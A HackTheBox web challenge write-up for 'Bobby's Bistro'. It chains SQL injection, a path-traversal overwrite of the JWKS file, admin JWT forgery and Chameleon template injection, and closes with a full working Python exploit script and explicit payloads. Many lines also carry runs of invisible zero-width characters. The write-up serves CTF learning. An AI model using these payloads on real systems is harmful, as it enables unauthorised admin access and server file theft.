← Back to Writeups
HTBN/AWeb

Bobby's Bistro

XESXOR8/23/20268 min read
#web#htb#n/a

Bobby's Bistro

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-15 | Status: Solved Techniques: chameleon_ssti, jwt_forgery_via_jwks_file_overwrite, path_traversal_arbitrary_file_write, sqli_union_sqlite, ssti_char_filter_bypass_chr_getattr, tal_single_quote_attribute_bypass

Summary

Task: Flask app with SQLite SQLAlchemy, RS256 JWT via PyJWKClient, Chameleon page templates, and an admin bot. Solution: chain SQLi (UNION dump of admin row) + path-traversal arbitrary file write to overwrite the server JWKS, forge an admin JWT, then Chameleon SSTI with a chr()/getattr() char-filter bypass to read /flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260615_hackthebox_bobbys_bistro
  • Tags: sqlite, multi_stage, SQLi, flask, path_traversal, ssti, jwt, rs256, sqlalchemy, chameleon, zope_page_templates, pyjwkclient
  • Indicators: Chameleon/Zope .pt PageTemplate render of user content, PyJWKClient reading file:///.../jwks.json by kid, file.save(UPLOADS_DIR + '/' + file.filename) without secure_filename, db.session.query(...).filter(text("token='{}'".format(token))), char filter stripping $ # { } " _ . before template render
  • Source: 20260615_hackthebox_bobbys_bistro.md

Foothold

Vulnerability / Misconfiguration

  1. Chameleon_ssti
  2. Jwt_forgery_via_jwks_file_overwrite
  3. Path_traversal_arbitrary_file_write
  4. Sqli_union_sqlite
  5. Ssti_char_filter_bypass_chr_getattr
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • chameleon_ssti
  • jwt_forgery_via_jwks_file_overwrite
  • path_traversal_arbitrary_file_write
  • sqli_union_sqlite
  • ssti_char_filter_bypass_chr_getattr
  • tal_single_quote_attribute_bypass
  • Tags: sqlite, multi_stage, SQLi, flask, path_traversal, ssti, jwt, rs256, sqlalchemy, chameleon, zope_page_templates, pyjwkclient

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Welcome to Bobby's Bistro. A cozy little Flask restaurant app with user profiles, a chat, and admin announcements. Become the admin and read the secret recipe (/flag.txt).

English summary: A Flask web app (SQLAlchemy + SQLite, RS256 JWT auth via PyJWKClient, Chameleon/Zope Page Templates .pt) with an admin bot named "q-bit". The flag lives at /flag.txt inside the container. Source provided. The intended solution is a 4-vulnerability chain that ends in server-side template injection RCE/file-read as the admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Four distinct vulnerabilities exist in the source:

  1. SQL injection in POST /profile — the token field is interpolated raw into a SQLAlchemy text() clause:
   user_data = db.session.query(User).filter(
       text("token='{}'".format(token))).all()

The backend is SQLite, so this is trivially UNION-injectable. profile.pt renders i.id, i.username, i.role for every returned row. The users table columns are id, username, password, token, role. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Arbitrary file write (path traversal) in POST /api/chat-messages — the uploaded attachment filename is used raw, with no secure_filename:
   file.save(UPLOADS_DIR + "/" + file.filename)   # UPLOADS_DIR = /app/uploads

A filename ../static/.well-known/jwks.json escapes the uploads directory and overwrites any file under /app/static/.... This endpoint requires a valid auth_token cookie, so we must register/login a normal user first.

  1. JWT verification trusts a file-based JWKS, keyed by kidverify_token() builds a PyJWKClient pointing at file:///app/static/.well-known/jwks.json and selects the signing key by the token's kid header. Critically, PyJWKClient ignores any embedded jwk header — it only reads keys from the configured file URL. So a classic embedded-JWK-header injection does not work; we must instead overwrite the JWKS file on disk (vuln 2) with our own public key. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  2. Chameleon SSTI in POST /api/announcements (admin only) — the announcement body is rendered as a Zope Page Template after a markdown pass and a character blacklist:

   content = markdown.markdown(request.form.get("announcement"))
   for i in '$#{}"_.':
       content = content.replace(i, "")     # strips  $ # { } " _ .
   tpl = PageTemplate(content)
   res = tpl.render()

The stripped set kills classic ${...} interpolation, __import__, attribute access via ., and double-quoted string literals. Admin access is gated by user.username == admin_username, where the user is resolved from the JWT user_id — hence we need both the admin user_id (vuln 1) and a forged admin JWT (vulns 2+3). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Phase checkpoint

After SQLi we know the admin user_id (a UUID) and the random admin username. After overwriting the JWKS we control the signing key, so the remaining problem reduces to a pure SSTI-under-a-char-filter task as the admin.

Solution

Step 1 — get a valid user JWT

Register and log in a normal user to obtain a legitimate auth_token cookie. The chat upload endpoint (the file-write primitive) requires authentication.

Step 2 — SQLi: dump the admin row

token = ' UNION SELECT id,username,password,token,role FROM users WHERE role='admin'-- -

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

profile.pt then renders the admin's id, username, and role, leaking the admin UUID and the randomized admin username.

Step 3 — overwrite the JWKS via path traversal

Generate a fresh RSA keypair, build a JWKS containing our public key with a chosen kid="pwnkey", and upload it as a chat attachment with filename ../static/.well-known/jwks.json. This replaces the server's trusted key set.

Step 4 — forge an admin JWT

Sign {"user_id": <admin uuid>} with our private key, RS256, kid="pwnkey". verify_token() fetches our public key from the overwritten JWKS file (matched by kid), validates the signature, and treats us as the admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5 — Chameleon SSTI with a char-filter bypass

The filter strips $ # { } " _ ., so we cannot use ${...}, __import__, dotted attribute access, or double-quoted strings. Bypass:

  • Use a single-quoted tal:content attribute — the single quote ' is not stripped, and TAL attributes don't need ${}.
  • Avoid . by using getattr(obj, name) instead of obj.attr.
  • Avoid _ and " by building every string literal from chr(n)+chr(n)+....

Final payload (logically getattr(open('/flag.txt'),'read')()): ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<div tal:content='python: getattr(open(chr(47)+chr(102)+...),chr(114)+chr(101)+chr(97)+chr(100))()'>x</div>

The announcement is rendered server-side at POST time and the rendered output is stored. GET /announcements emits the stored content into a data-announcement="..." attribute — HTML-unescape it to recover the flag.

Full exploit

#!/usr/bin/env python3
"""
Bobby's Bistro (HTB web) exploit.

Chain:
 1. Register + login a normal user -> valid RS256 JWT cookie (needed for chat upload).
 2. SQLi in /profile POST (token field) to dump admin user_id + username.
 3. Arbitrary file write via /api/chat-messages attachment path traversal:
    overwrite static/.well-known/jwks.json with OUR RSA public key (chosen kid).
 4. Forge JWT {"user_id": <admin id>} signed with OUR private key, matching kid.
 5. As admin: POST announcement with Chameleon SSTI (dotless/quoteless) -> reads /flag.txt
    into stored content. GET /announcements -> flag in data-announcement attribute.
"""
import sys, re, html, time, base64, json
import requests
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:3000"
USER = "pwn_" + base64.b16encode(__import__("os").urandom(4)).decode().lower()
PASS = "pwnpass123"
KID  = "pwnkey"

s_user = requests.Session()
s_user.headers["User-Agent"] = "x"

def log(*a): print("[*]", *a, flush=True)

# ---------------------------------------------------------------- step 1
log("register", USER)
s_user.post(f"{BASE}/register", data={"username": USER, "password": PASS}, allow_redirects=True)
r = s_user.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=False)
auth = s_user.cookies.get("auth_token")
if not auth:
    # follow redirect set-cookie
    auth = r.cookies.get("auth_token")
log("auth_token:", (auth or "")[:40], "...")
assert auth, "login failed"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# ---------------------------------------------------------------- step 2: SQLi dump admin id+username
# profile renders i.id / i.username / i.role for rows from:
#   SELECT * FROM users WHERE token='{token}'
# UNION inject. Columns of users: id, username, password, token, role
# Easiest: ' UNION SELECT id,username,role,token,password FROM users WHERE role='admin'-- 
# but template reads .id .username .role -> map admin's id->id, username->username, role->role.
inj = "' UNION SELECT id,username,password,token,role FROM users WHERE role='admin'-- -"
r = s_user.post(f"{BASE}/profile", data={"token": inj}, cookies={"auth_token": auth})
ids = re.findall(r"User ID:</strong>\s*([^<]+)", r.text)
unames = re.findall(r"Username:</strong>\s*([^<]+)", r.text)
roles = re.findall(r"Role:</strong>\s*([^<]+)", r.text)
log("rows:", list(zip(ids, unames, roles)))
admin_id = admin_user = None
for i, u, ro in zip(ids, unames, roles):
    if ro.strip() == "admin":
        admin_id, admin_user = i.strip(), u.strip()
assert admin_id, "admin id not found via SQLi: " + r.text[:500]
log("ADMIN id =", admin_id, " username =", admin_user)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# ---------------------------------------------------------------- step 3: forge our key + overwrite jwks
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key().public_numbers()
def b64u(n):
    b = n.to_bytes((n.bit_length()+7)//8, "big")
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jwk = {"kty": "RSA", "kid": KID, "alg": "RS256", "use": "sig",
       "n": b64u(pub.n), "e": b64u(pub.e)}
jwks = {"keys": [jwk]}
jwks_bytes = json.dumps(jwks).encode()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# write via attachment path traversal. filename used raw in file.save(UPLOADS_DIR + "/" + name)
# UPLOADS_DIR = /app/uploads  -> ../static/.well-known/jwks.json
fname = "../static/.well-known/jwks.json"
files = {"attachment": (fname, jwks_bytes, "application/json")}
r = s_user.post(f"{BASE}/api/chat-messages", data={"message": "x"},
                files=files, cookies={"auth_token": auth}, allow_redirects=False)
log("upload jwks status:", r.status_code)

# ---------------------------------------------------------------- step 4: forge admin JWT
priv_pem = priv.private_bytes(
    serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8,
    serialization.NoEncryption())
admin_jwt = jwt.encode({"user_id": admin_id}, priv_pem, algorithm="RS256",
                       headers={"kid": KID, "alg": "RS256", "typ": "JWT"})
log("forged admin jwt:", admin_jwt[:50], "...")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# sanity: hit admin page
r = requests.get(f"{BASE}/admin/announcements", cookies={"auth_token": admin_jwt}, allow_redirects=False)
log("admin page status:", r.status_code, "(200 = admin OK)")

# ---------------------------------------------------------------- step 5: SSTI announcement reading /flag.txt
def chrify(x): return "+".join("chr(%d)" % ord(c) for c in x)
path = "/flag.txt"
expr = "python: getattr(open(%s),%s)()" % (chrify(path), chrify("read"))
payload = "<div tal:content='%s'>x</div>" % expr
r = requests.post(f"{BASE}/api/announcements",
                  data={"title": "z", "announcement": payload},
                  cookies={"auth_token": admin_jwt})
log("post announcement status:", r.status_code, r.text[:120])
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# ---------------------------------------------------------------- read flag back
r = requests.get(f"{BASE}/announcements", cookies={"auth_token": admin_jwt})
m = re.findall(r"data-announcement=\"([^\"]*)\"", r.text)
for c in m:
    dec = html.unescape(c)
    if "HTB{" in dec or "flag" in dec.lower():
        print("\n[+] FLAG:", dec)
# also try as the normal user (announcement broadcast to all users)
r2 = requests.get(f"{BASE}/announcements", cookies={"auth_token": auth})
for c in re.findall(r"data-announcement=\"([^\"]*)\"", r2.text):
    dec = html.unescape(c)
    if "HTB{" in dec:
        print("[+] FLAG (user view):", dec)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

found = [html.unescape(c) for c in (m or []) if "HTB{" in html.unescape(c)]
if not found:
    log("no HTB{ found; dumping all announcement contents:")
    for c in m: print("   ", html.unescape(c))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR